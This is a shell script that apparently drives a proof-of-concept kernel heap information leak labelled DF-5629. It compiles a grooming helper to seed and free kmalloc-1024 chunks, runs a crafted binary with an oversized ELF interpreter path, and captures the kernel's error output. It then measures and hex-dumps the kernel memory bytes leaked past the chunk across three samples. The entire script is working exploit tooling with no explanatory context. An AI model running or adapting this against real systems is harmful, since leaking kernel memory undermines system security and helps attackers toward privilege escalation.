#!/bin/sh
# DF-5629 guest driver v3 (final): groom then capture, 3 samples.
cd /tmp/df5629
cc -O -o groom groom.c || exit 1

for n in 1 2 3; do
  # 1) seed kmalloc-1024 M_TEMP chunks with non-NUL marker, then free them
  su -m maxx -c '/tmp/df5629/groom 400' >/dev/null 2>&1
  # 2) exec the crafted binary under a pty; capture kernel uprintf output
  su -m maxx -c "script -q /tmp/df5629/tty$n.txt /tmp/df5629/run_leak /tmp/df5629/interp_leak.bin 1" >/dev/null 2>&1
  # 3) measure bytes between our 1024-byte payload and " not found"
  tr -d '\r' < /tmp/df5629/tty$n.txt | grep -a "ELF interpreter" > /tmp/df5629/line$n.txt
  awk -v n=$n '{
      line = $0
      sub(/^.*ELF interpreter /, "", line)
      l = length(line)
      printf "sample %d: payload(1024)+extra=%d  extra=%d bytes past kmalloc chunk\n", n, l-10, l-1024-10
  }' /tmp/df5629/line$n.txt
done
# dump leaked bytes (skip payload; show 64 bytes after it)
for n in 1 2 3; do
  echo "--- leaked tail sample $n (payload end .. 48 bytes past) ---"
  tail -c +1041 /tmp/df5629/line$n.txt | head -c 48 | od -An -tx1
done > /tmp/df5629/leak_sample.txt
cat /tmp/df5629/leak_sample.txt
echo done